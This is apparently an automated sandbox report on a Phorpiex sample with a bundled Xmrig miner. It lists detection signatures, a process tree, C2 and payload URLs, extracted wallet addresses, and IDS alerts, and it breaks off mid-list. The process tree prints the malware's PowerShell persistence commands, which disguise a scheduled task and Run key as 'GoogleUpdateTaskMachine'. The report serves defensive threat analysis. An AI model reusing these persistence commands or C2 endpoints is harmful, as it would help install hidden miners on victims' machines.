Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample Name:file.exe
Analysis ID:831531
MD5:15db9f43813112507a5cbd9b4f5e1fe9
SHA1:1a8ff6cc9c572e1d52b2e7db582178a9d5208e17
SHA256:4531e904b29a577272454de8f8084d86fbe2903f16c00d2fa63d1ffe5244ecc1
Tags:CoinMinerexe
Infos:

Detection

Phorpiex, Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Snort IDS alert for network traffic
Multi AV Scanner detection for submitted file
Yara detected Xmrig cryptocurrency miner
Yara detected Phorpiex
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for dropped file
Maps a DLL or memory area into another process
Found evasive API chain (may stop execution after checking mutex)
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Detected Stratum mining protocol
Machine Learning detection for sample
May check the online IP address of the machine
Send many emails (e-Mail Spam)
Writes a notice file (html or txt) to demand a ransom
Hides that the sample has been downloaded from the Internet (zone.identifier)
Drops executables to the windows directory (C:\Windows) and starts them
Uses schtasks.exe or at.exe to add and modify task schedules
Contains functionality to check if Internet connection is working
Writes to foreign memory regions
Contains functionality to determine the online IP of the system
Changes security center settings (notifications, updates, antivirus, firewall)
Found hidden mapped module (file has been removed from disk)
Machine Learning detection for dropped file
Modifies the context of a thread in another process (thread injection)
Tries to resolve many domain names, but no domain seems valid
Contains functionality to detect sleep reduction / modifications
Antivirus or Machine Learning detection for unpacked file
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Downloads executable code via HTTP
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Uses a known web browser user agent for HTTP communication
Drops PE files to the windows directory (C:\Windows)
Creates driver files
PE file contains more sections than normal
Dropped file seen in connection with other malware
Found large amount of non-executed APIs
May check if the current machine is a sandbox (GetTickCount - Sleep)
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Creates files inside the system directory
PE file contains sections with non-standard names
Contains functionality to call native functions
Contains functionality to read the clipboard data
Found dropped PE file which has not been started or loaded
Contains functionality which may be used to detect a debugger (GetProcessHeap)
IP address seen in connection with other malware
Connects to many different domains
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found inlined nop instructions (likely shell or obfuscated code)
Installs a raw input device (often for capturing keystrokes)
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Detected TCP or UDP traffic on non-standard ports
Connects to several IPs in different countries
Uses SMTP (mail sending)
Found evaded block containing many API calls
Found evasive API chain (may stop execution after accessing registry keys)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 4684 cmdline: C:\Users\user\Desktop\file.exe MD5: 15DB9F43813112507A5CBD9B4F5E1FE9)
    • wsysrxvcs.exe (PID: 2200 cmdline: C:\Windows\wsysrxvcs.exe MD5: 15DB9F43813112507A5CBD9B4F5E1FE9)
      • 120477188.exe (PID: 1392 cmdline: C:\Users\user\AppData\Local\Temp\120477188.exe MD5: 03EE7B245DAEEBBF2CCAA1690A9FC8FC)
        • 1258033132.exe (PID: 5272 cmdline: C:\Users\user\AppData\Local\Temp\1258033132.exe MD5: 7B0633AE007D5D202C33D505D580D4B7)
      • 311029678.exe (PID: 2184 cmdline: C:\Users\user\AppData\Local\Temp\311029678.exe MD5: 1E5B4FEC45A2CEAEFFD766AEF29D8A27)
      • 75601095.exe (PID: 5576 cmdline: C:\Users\user\AppData\Local\Temp\75601095.exe MD5: 24D8F06054F04FA1775D81B87931EFDB)
      • 587025894.exe (PID: 6232 cmdline: C:\Users\user\AppData\Local\Temp\587025894.exe MD5: 15DB9F43813112507A5CBD9B4F5E1FE9)
  • wsysrxvcs.exe (PID: 4544 cmdline: "C:\Windows\wsysrxvcs.exe" MD5: 15DB9F43813112507A5CBD9B4F5E1FE9)
  • powershell.exe (PID: 4012 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' } MD5: 95000560239032BC68B4C2FDFCDEF913)
    • conhost.exe (PID: 1884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • powershell.exe (PID: 7152 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\user\Windows Security\Update\winsvrupd.exe" } MD5: 95000560239032BC68B4C2FDFCDEF913)
    • conhost.exe (PID: 4444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • schtasks.exe (PID: 6820 cmdline: "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine MD5: 838D346D1D28F00783B7A6C6BD03A0DA)
  • winsvrupd.exe (PID: 3424 cmdline: C:\Users\user\Windows Security\Update\winsvrupd.exe MD5: 7B0633AE007D5D202C33D505D580D4B7)
    • cmd.exe (PID: 9644 cmdline: C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
  • powershell.exe (PID: 7732 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\user\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\user\Windows Security\Update\winsvrupd.exe' } MD5: 95000560239032BC68B4C2FDFCDEF913)
    • conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cmd.exe (PID: 9308 cmdline: C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\user\AppData\Roaming\Google\Libs\g.log" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
    • conhost.exe (PID: 9352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
    • WMIC.exe (PID: 9396 cmdline: wmic PATH Win32_VideoController GET Name, VideoProcessor MD5: EC80E603E0090B3AC3C1234C2BA43A0F)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
PhorpiexProofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex

Malware Configuration

Threatname: Phorpiex

{"C2 url": "http://185.215.113.66/", "Wallet": ["1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6", "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL", "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX", "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH", "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709", "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU", "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd", "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2", "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ", "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg", "8AvX8Ds1eadajf81PtVvzVdiJSY28P86m3M79k89J26WQHf7oH5YGfrNAGeudz42JDfqgUpWiQfsbd2bhUEhQc4PQrnbss6", "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ", "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury", "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn", "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3", "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw", "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f", "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj", "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH", "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v", "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn", "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6", "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7", "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd", "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr", "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "cosmos1lc7xvs0tyl3u57vgn4nsw2kldmp84lrw75c9g4", "addr1q8m948qxhth60qzhag0d3kck7p0y5gqkvnct4w9zwqljcn0kt2wqdwh057q906s7mrd3duz7fgspve8sh2u2yupl93xsjzumrw", "nano_1m1r95bjgfgtahh3dcxeexuidpr6kr799pfuue4u9xczdkymo8rsaebc4ed4", "GAUCC7ZBSU2KJMHXOZD6AP5LOBGKNDPCDNRYP2CO2ACR63YCSUBNT5QE", "GU5ydEfPFXcUtEPqwcyX6AD7BkDAacHy4N", "EQA0PV0Evgs71IkPc8Ng0SrtM3ZZFK87K6B3SgR28VWP6rWT"]}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
file.exeJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security

    PCAP (Network Traffic)

    SourceRuleDescriptionAuthorStrings
    dump.pcapJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security

      Dropped Files

      SourceRuleDescriptionAuthorStrings
      C:\Users\user\AppData\Local\Temp\75601095.exeSUSP_XORed_URL_in_EXEDetects an XORed URL in an executableFlorian Roth (Nextron Systems)
      • 0x2284:$s1: http://
      • 0x3428:$s1: \xB0\xAC\xAC\xA8\xE2\xF7\xF7
      • 0x2284:$f1: http://
      C:\Users\user\AppData\Local\Temp\311029678.exeSUSP_XORed_URL_in_EXEDetects an XORed URL in an executableFlorian Roth (Nextron Systems)
      • 0x2284:$s1: http://
      • 0x3428:$s1: \xB0\xAC\xAC\xA8\xE2\xF7\xF7
      • 0x2284:$f1: http://
      C:\Windows\wsysrxvcs.exeJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
        C:\Users\user\AppData\Local\Temp\587025894.exeJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
          C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmpPUA_WIN_XMRIG_CryptoCoin_Miner_Dec20Detects XMRIG crypto coin minersFlorian Roth (Nextron Systems)
          • 0x1e6278:$x1: xmrig.exe
          • 0x1e6164:$x2: xmrig.com
          • 0x1e623c:$x2: xmrig.com
          Click to see the 1 entries

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          00000015.00000002.633519578.0000027716A2E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
            00000001.00000002.632930512.0000000000410000.00000002.00000001.01000000.00000004.sdmpJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
              00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                00000002.00000000.330146799.0000000000410000.00000002.00000001.01000000.00000004.sdmpJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                  00000001.00000000.306324126.0000000000410000.00000002.00000001.01000000.00000004.sdmpJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                    Click to see the 13 entries

                    Unpacked PEs

                    SourceRuleDescriptionAuthorStrings
                    9.0.587025894.exe.400000.0.unpackJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                      2.0.wsysrxvcs.exe.400000.0.unpackJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                        0.0.file.exe.400000.0.unpackJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                          1.2.wsysrxvcs.exe.400000.0.unpackJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                            2.2.wsysrxvcs.exe.400000.0.unpackJoeSecurity_Phorpiex_4Yara detected PhorpiexJoe Security
                              Click to see the 10 entries

                              Sigma Signatures

                              ⊘No Sigma rule has matched

                              Snort Signatures

                              Timestamp:192.168.2.5109.228.205.23556896405002044077 03/21/23-15:38:40.037090
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.55.53.36.9256896405002044077 03/21/23-15:38:55.397258
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5185.215.113.8449699802829066 03/21/23-15:37:53.498490
                              SID:2829066
                              Source Port:49699
                              Destination Port:80
                              Protocol:TCP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5213.246.20.23256896405002044077 03/21/23-15:38:30.018442
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5212.112.97.12556896405002044077 03/21/23-15:39:20.632462
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5147.30.24.17056896405002044077 03/21/23-15:37:53.062752
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5188.209.234.12056896405002044077 03/21/23-15:38:03.101310
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.595.188.189.19256896405002044077 03/21/23-15:37:48.052972
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5113.197.51.16456896405002044077 03/21/23-15:38:35.035010
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5185.215.113.6649759802808793 03/21/23-15:38:12.159110
                              SID:2808793
                              Source Port:49759
                              Destination Port:80
                              Protocol:TCP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5192.168.1.6356896405002044077 03/21/23-15:37:58.070506
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5147.235.96.7256896405002044077 03/21/23-15:38:18.188260
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.5103.253.158.1056896405002044077 03/21/23-15:39:10.571550
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.580.69.180.10056896405002044077 03/21/23-15:38:08.156849
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.539.32.141.24456896405002044077 03/21/23-15:39:05.558608
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.55.251.83.5356896405002044077 03/21/23-15:38:23.200829
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.55.143.5.24156896405002044077 03/21/23-15:38:50.131984
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected
                              Timestamp:192.168.2.52.180.17.9156896405002044077 03/21/23-15:39:00.413401
                              SID:2044077
                              Source Port:56896
                              Destination Port:40500
                              Protocol:UDP
                              Classtype:A Network Trojan was detected

                              Joe Sandbox Signatures

                              Click to jump to signature section

                              Show All Signature Results

                              AV Detection

                              barindex
                              Antivirus detection for URL or domain
                              Source: http://185.215.113.66/cawkz/Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cock/Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/1342.txt4Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/1342.txtAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/1342.txt8Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3(KHTMLAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/1342.txtOAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3~Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1WAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/29Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/13Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/17Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/2ystem32Avira URL Cloud: Label: malware
                              Source: http://185.215.113.84/xmr.exevAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3LMEM0Avira URL Cloud: Label: malware
                              Source: http://185.215.113.84/xmr.exeApAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cock/529.txtAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1KAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/4-streamAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/n.txtAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/5hAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1.dllAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3KKC:Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/Avira URL Cloud: Label: malware
                              Source: http://185.215.113.84/xmr.exeAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/1342.txt.Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/26Avira URL Cloud: Label: malware
                              Source: http://185.215.113.84/xmr.exe%Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/5ZAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/5(KHTMLAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/DAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3DAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/5KKC:Avira URL Cloud: Label: malware
                              Source: http://185.215.113.84/xmr.exeWpAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1LMEM0Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/5Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/n.txtVAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/4Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/2Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1C:Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1iLMEM8Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/2OAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cock/529.txttAvira URL Cloud: Label: malware
                              Source: http://185.215.113.84/xmr.exeIAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/5LMEM0PNhQAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/5LMEM0Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cawkz/http://185.215.113.66/cawkz/n.txtAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cock/n.txtAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3C:Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1%Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cock/http://185.215.113.66/cock/n.txt_Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/4PoAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3hAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/9998883922wsysrxvcs.exeWindowsAvira URL Cloud: Label: malware
                              Source: http://185.215.113.66/1KKC:Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/cock/8Avira URL Cloud: Label: malware
                              Source: http://185.215.113.84/xmr.exeSystem32Avira URL Cloud: Label: malware
                              Source: http://185.215.113.66/3ystem32Avira URL Cloud: Label: malware
                              Antivirus detection for dropped file
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeAvira: detection malicious, Label: TR/Crypt.EPACK.Gen2
                              Source: C:\Windows\wsysrxvcs.exeAvira: detection malicious, Label: HEUR/AGEN.1237550
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen
                              Source: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmpAvira: detection malicious, Label: HEUR/AGEN.1213003
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeAvira: detection malicious, Label: TR/Crypt.EPACK.Gen2
                              Source: C:\Users\user\AppData\Local\Temp\587025894.exeAvira: detection malicious, Label: HEUR/AGEN.1237550
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeAvira: detection malicious, Label: TR/Crypt.XPACK.Gen
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\xmr[1].exeAvira: detection malicious, Label: TR/Crypt.EPACK.Gen2
                              Multi AV Scanner detection for submitted file
                              Source: file.exeReversingLabs: Detection: 83%
                              Source: file.exeVirustotal: Detection: 66%Perma Link
                              Antivirus / Scanner detection for submitted sample
                              Source: file.exeAvira: detected
                              Multi AV Scanner detection for dropped file
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\xmr[1].exeReversingLabs: Detection: 84%
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeReversingLabs: Detection: 87%
                              Source: C:\Users\user\AppData\Local\Temp\1258033132.exeReversingLabs: Detection: 84%
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeReversingLabs: Detection: 90%
                              Source: C:\Users\user\AppData\Local\Temp\587025894.exeReversingLabs: Detection: 83%
                              Source: C:\Users\user\AppData\Local\Temp\mpnsrsgv.tmpReversingLabs: Detection: 60%
                              Source: C:\Users\user\Windows Security\Update\winsvrupd.exeReversingLabs: Detection: 84%
                              Source: C:\Windows\wsysrxvcs.exeReversingLabs: Detection: 83%
                              Machine Learning detection for sample
                              Source: file.exeJoe Sandbox ML: detected
                              Machine Learning detection for dropped file
                              Source: C:\Users\user\AppData\Local\Temp\311029678.exeJoe Sandbox ML: detected
                              Source: C:\Windows\wsysrxvcs.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\75601095.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\587025894.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\120477188.exeJoe Sandbox ML: detected
                              Source: 4.2.1258033132.exe.7ff7d2530000.1.unpackAvira: Label: TR/Crypt.EPACK.Gen2
                              Source: 4.0.1258033132.exe.7ff7d2530000.0.unpackAvira: Label: TR/Crypt.EPACK.Gen2
                              Source: 15.2.winsvrupd.exe.7ff642ce0000.0.unpackAvira: Label: TR/Crypt.EPACK.Gen2
                              Source: 15.0.winsvrupd.exe.7ff642ce0000.0.unpackAvira: Label: TR/Crypt.EPACK.Gen2
                              Source: 0.0.file.exe.400000.0.unpackMalware Configuration Extractor: Phorpiex {"C2 url": "http://185.215.113.66/", "Wallet": ["1Hw9tx4KyTq4oRoLVhPb4hjDJcLhEa4Tn6", "qr89hag2967ef604ud3lw4pq8hmn69n46czwdnx3ut", "XtxFdsKkRN3oVDXtN2ipcHeNi87basT2sL", "LXMNcn9D8FQKzGNLjdSyR9dEM8Rsh9NzyX", "rwn7tb5KQjXEjH42GgdHWHec5PPhVgqhSH", "hx7b6677c8f7049c2a6e9df0dfd422683c32e67709", "QiAmmfSSTe5fkaSLdp9mV4MDHfz27JBoVU", "RCZdkrikMCWrhBG9gNVmmE9yDcQxSUbqFd", "NDKNTURHWAMQHNHMOPJML5FKZZPQIRE4IZFSMEU2", "ARML6g7zynrwUHJbFJCCzMPiysUFXYBGgQ", "48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg", "8AvX8Ds1eadajf81PtVvzVdiJSY28P86m3M79k89J26WQHf7oH5YGfrNAGeudz42JDfqgUpWiQfsbd2bhUEhQc4PQrnbss6", "aCguZWA9zwz4Dk9zNyxdM96mzWnjLoxzYQ", "f1urg44xg2ziciji4akbxlkwb5y64msbmb7py5ury", "lsk5mjenfunkehcwu8mss9qd6emg3nrr78em82hwn", "zil1zucjet9qmgecmen2lm7n2pevu6pf8hg8vzgrl3", "erd1qvpwuwc2xue69enjtte7z3tekdclx9fc4769mlafc3vjt68hp5pq0s82xw", "kava14z663qgxvaq30dwdqepa6r94mhfnzww87nmz7f", "osmo1nhtpu3gqq7d448u320xzkjk3j8f370v4f336xj", "3PL7YCa4akNYzuScqQwiSbtTP9q9E9PLreC", "3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3", "D9AJWrbYsidS9rAU146ifLRu1fzX9oQYSH", "DsjozoLCkxdeec5NNLTPx5zRS23UjUm7C7v", "t1gvVWHnjbGTsoWXEyoTFojc2GqEzBgvbEn", "terra1ax9ks6fmneqd997wgkdx35zntxfvswg0an2ym6", "tz1hG2rJaUJBkmwzMTw5KhzQdyPxqJAmu6k7", "bnb1cgttf7t5hu7ud3c436ufhcmy59qnkd09adqczd", "band1mgnt2v6n9x7pvfquj4ehguyhjytkjswql0uvhr", "bc1q0fusmmgycnhsd5cadsuz2hk8d4maausjfjypqg", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", 